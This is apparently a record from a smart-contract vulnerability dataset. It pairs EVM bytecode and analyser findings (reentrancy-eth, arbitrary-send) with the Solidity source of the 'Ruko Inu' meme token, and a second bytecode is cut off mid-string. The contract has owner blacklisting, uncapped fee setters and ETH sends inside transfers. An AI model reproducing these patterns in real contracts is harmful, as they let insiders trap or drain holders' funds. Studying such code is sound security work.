0x60806040526004361061010d5760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102e9578063c3c8cd8014610309578063c9567bf91461031e578063dd62ed3e14610333578063ef9858941461037957600080fd5b806370a0823114610261578063715018a6146102815780638da5cb5b1461029657806395d89b41146102be57600080fd5b806323b872dd116100dc57806323b872dd146101d0578063313ce567146101f0578063537df3b61461020c5780635932ead11461022c5780636fc3eaec1461024c57600080fd5b806306fdde031461011957806308aad1f11461015b578063095ea7b31461017d57806318160ddd146101ad57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820190915260078152662396aa37b5b2b760c91b60208201525b6040516101529190611355565b60405180910390f35b34801561016757600080fd5b5061017b6101763660046113bf565b610399565b005b34801561018957600080fd5b5061019d6101983660046113dc565b6103f0565b6040519015158152602001610152565b3480156101b957600080fd5b506509184e72a0005b604051908152602001610152565b3480156101dc57600080fd5b5061019d6101eb366004611408565b610407565b3480156101fc57600080fd5b5060405160098152602001610152565b34801561021857600080fd5b5061017b6102273660046113bf565b610470565b34801561023857600080fd5b5061017b610247366004611457565b6104bb565b34801561025857600080fd5b5061017b610503565b34801561026d57600080fd5b506101c261027c3660046113bf565b610530565b34801561028d57600080fd5b5061017b610552565b3480156102a257600080fd5b506000546040516001600160a01b039091168152602001610152565b3480156102ca57600080fd5b5060408051808201909152600281526111d560f21b6020820152610145565b3480156102f557600080fd5b5061019d6103043660046113dc565b6105c6565b34801561031557600080fd5b5061017b6105d3565b34801561032a57600080fd5b5061017b610609565b34801561033f57600080fd5b506101c261034e366004611474565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561038557600080fd5b5061017b6103943660046114ad565b6109cb565b6000546001600160a01b031633146103cc5760405162461bcd60e51b81526004016103c3906114c6565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b60006103fd3384846109fd565b5060015b92915050565b6000610414848484610b21565b610466843361046185604051806060016040528060288152602001611671602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c73565b6109fd565b5060019392505050565b6000546001600160a01b0316331461049a5760405162461bcd60e51b81526004016103c3906114c6565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104e55760405162461bcd60e51b81526004016103c3906114c6565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b03161461052357600080fd5b4761052d81610cad565b50565b6001600160a01b03811660009081526002602052604081205461040190610ce7565b6000546001600160a01b0316331461057c5760405162461bcd60e51b81526004016103c3906114c6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103fd338484610b21565b600e546001600160a01b0316336001600160a01b0316146105f357600080fd5b60006105fe30610530565b905061052d81610d6b565b6000546001600160a01b031633146106335760405162461bcd60e51b81526004016103c3906114c6565b601054600160a01b900460ff161561068d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103c3565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106c730826509184e72a0006109fd565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561070057600080fd5b505afa158015610714573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073891906114fb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561078057600080fd5b505afa158015610794573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b891906114fb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561080057600080fd5b505af1158015610814573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083891906114fb565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061086881610530565b60008061087d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108e057600080fd5b505af11580156108f4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109199190611518565b5050601080546509184e72a00060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561098f57600080fd5b505af11580156109a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c79190611546565b5050565b600681106109d857600080fd5b600e546001600160a01b0316336001600160a01b0316146109f857600080fd5b600b55565b6001600160a01b038316610a5f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c3565b6001600160a01b038216610ac05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b835760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103c3565b6001600160a01b03831660009081526006602052604090205460ff1615610ba957600080fd5b6001600160a01b0383163014610c4257600a54600c55600b54600d556000610bd030610530565b601054909150600160a81b900460ff16158015610bfb57506010546001600160a01b03858116911614155b8015610c105750601054600160b01b900460ff165b15610c40578015610c2457610c2481610d6b565b476706f05b59d3b20000811115610c3e57610c3e47610cad565b505b505b6000546001600160a01b0384811691161415610c63576000600d819055600c555b610c6e838383610ef4565b505050565b60008184841115610c975760405162461bcd60e51b81526004016103c39190611355565b506000610ca48486611579565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109c7573d6000803e3d6000fd5b6000600854821115610d4e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103c3565b6000610d58610eff565b9050610d648382610f22565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610db357610db3611590565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e0757600080fd5b505afa158015610e1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3f91906114fb565b81600181518110610e5257610e52611590565b6001600160a01b039283166020918202929092010152600f54610e7891309116846109fd565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610eb19085906000908690309042906004016115a6565b600060405180830381600087803b158015610ecb57600080fd5b505af1158015610edf573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610c6e838383610f64565b6000806000610f0c61105b565b9092509050610f1b8282610f22565b9250505090565b6000610d6483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611097565b600080600080600080610f76876110c5565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fa89087611122565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610fd79086611164565b6001600160a01b038916600090815260026020526040902055610ff9816111c3565b611003848361120d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161104891815260200190565b60405180910390a3505050505050505050565b60085460009081906509184e72a0006110748282610f22565b82101561108e575050600854926509184e72a00092509050565b90939092509050565b600081836110b85760405162461bcd60e51b81526004016103c39190611355565b506000610ca48486611617565b60008060008060008060008060006110e28a600c54600d54611231565b92509250925060006110f2610eff565b905060008060006111058e878787611286565b919e509c509a509598509396509194505050505091939550919395565b6000610d6483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c73565b6000806111718385611639565b905083811015610d645760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c3565b60006111cd610eff565b905060006111db83836112d6565b306000908152600260205260409020549091506111f89082611164565b30600090815260026020526040902055505050565b60085461121a9083611122565b60085560095461122a9082611164565b6009555050565b600080808061124b606461124589896112d6565b90610f22565b9050600061125e60646112458a896112d6565b90506000611276826112708b86611122565b90611122565b9992985090965090945050505050565b600080808061129588866112d6565b905060006112a388876112d6565b905060006112b188886112d6565b905060006112c3826112708686611122565b939b939a50919850919650505050505050565b6000826112e557506000610401565b60006112f18385611651565b9050826112fe8583611617565b14610d645760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103c3565b600060208083528351808285015260005b8181101561138257858101830151858201604001528201611366565b81811115611394576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052d57600080fd5b6000602082840312156113d157600080fd5b8135610d64816113aa565b600080604083850312156113ef57600080fd5b82356113fa816113aa565b946020939093013593505050565b60008060006060848603121561141d57600080fd5b8335611428816113aa565b92506020840135611438816113aa565b929592945050506040919091013590565b801515811461052d57600080fd5b60006020828403121561146957600080fd5b8135610d6481611449565b6000806040838503121561148757600080fd5b8235611492816113aa565b915060208301356114a2816113aa565b809150509250929050565b6000602082840312156114bf57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561150d57600080fd5b8151610d64816113aa565b60008060006060848603121561152d57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561155857600080fd5b8151610d6481611449565b634e487b7160e01b600052601160045260246000fd5b60008282101561158b5761158b611563565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115f65784516001600160a01b0316835293830193918301916001016115d1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261163457634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561164c5761164c611563565b500190565b600081600019048311821515161561166b5761166b611563565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bc725e225ddf52cc3bad0f66bfb858c7de53e9c36aa59fb205efaf9d84f019a064736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
251
0x6f7f261135438f933778c1e0351CfaFbb5c7C622
/** *Submitted for verification at Etherscan.io on 2021-11-02 */ /** * **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Ruko is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; address payable private _feeAddrWallet1 = payable(0xfe5616641367De676283B4ba3bAEfD358c6AA090); address payable private _feeAddrWallet2 = payable(0xfe5616641367De676283B4ba3bAEfD358c6AA090); uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 4; uint256 private _feeAddr2 = 6; string private constant _name = "Ruko Inu"; string private constant _symbol = "RUKO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612bb9565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906126ff565b610492565b6040516101839190612b9e565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612d3b565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906126b0565b6104c4565b6040516101eb9190612b9e565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612622565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612db0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a919061277c565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612622565b6107ba565b6040516102bc9190612d3b565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe91906127ce565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612ad0565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612bb9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906126ff565b610a65565b60405161038f9190612b9e565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061273b565b610a83565b005b3480156103cd57600080fd5b506103d6610bd3565b005b3480156103e457600080fd5b506103ed610c4d565b005b3480156103fb57600080fd5b50610416600480360381019061041191906127ce565b6111af565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612674565b611250565b60405161044c9190612d3b565b60405180910390f35b60606040518060400160405280600881526020017f52756b6f20496e75000000000000000000000000000000000000000000000000815250905090565b60006104a661049f6112d7565b84846112df565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d18484846114aa565b610592846104dd6112d7565b61058d8560405180606001604052806028815260200161344b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119889092919063ffffffff16565b6112df565b600190509392505050565b6105a56112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112d7565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119ec565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae7565b9050919050565b6108136112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112d7565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612bfb565b60405180910390fd5b80600c8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f52554b4f00000000000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112d7565b84846114aa565b6001905092915050565b610a8b6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c9b565b60405180910390fd5b60005b8151811015610bcf57600160066000848481518110610b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc790613051565b915050610b1b565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c146112d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457600080fd5b6000610c3f306107ba565b9050610c4a81611b55565b50565b610c556112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd990612c9b565b60405180910390fd5b600f60149054906101000a900460ff1615610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612d1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112df565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e43919061264b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea557600080fd5b505afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd919061264b565b6040518363ffffffff1660e01b8152600401610efa929190612aeb565b602060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061264b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd5306107ba565b600080610fe06109ff565b426040518863ffffffff1660e01b815260040161100296959493929190612b3d565b6060604051808303818588803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105491906127f7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611159929190612b14565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab91906127a5565b5050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f06112d7565b73ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612bfb565b60405180910390fd5b80600d8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612cfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612c3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffff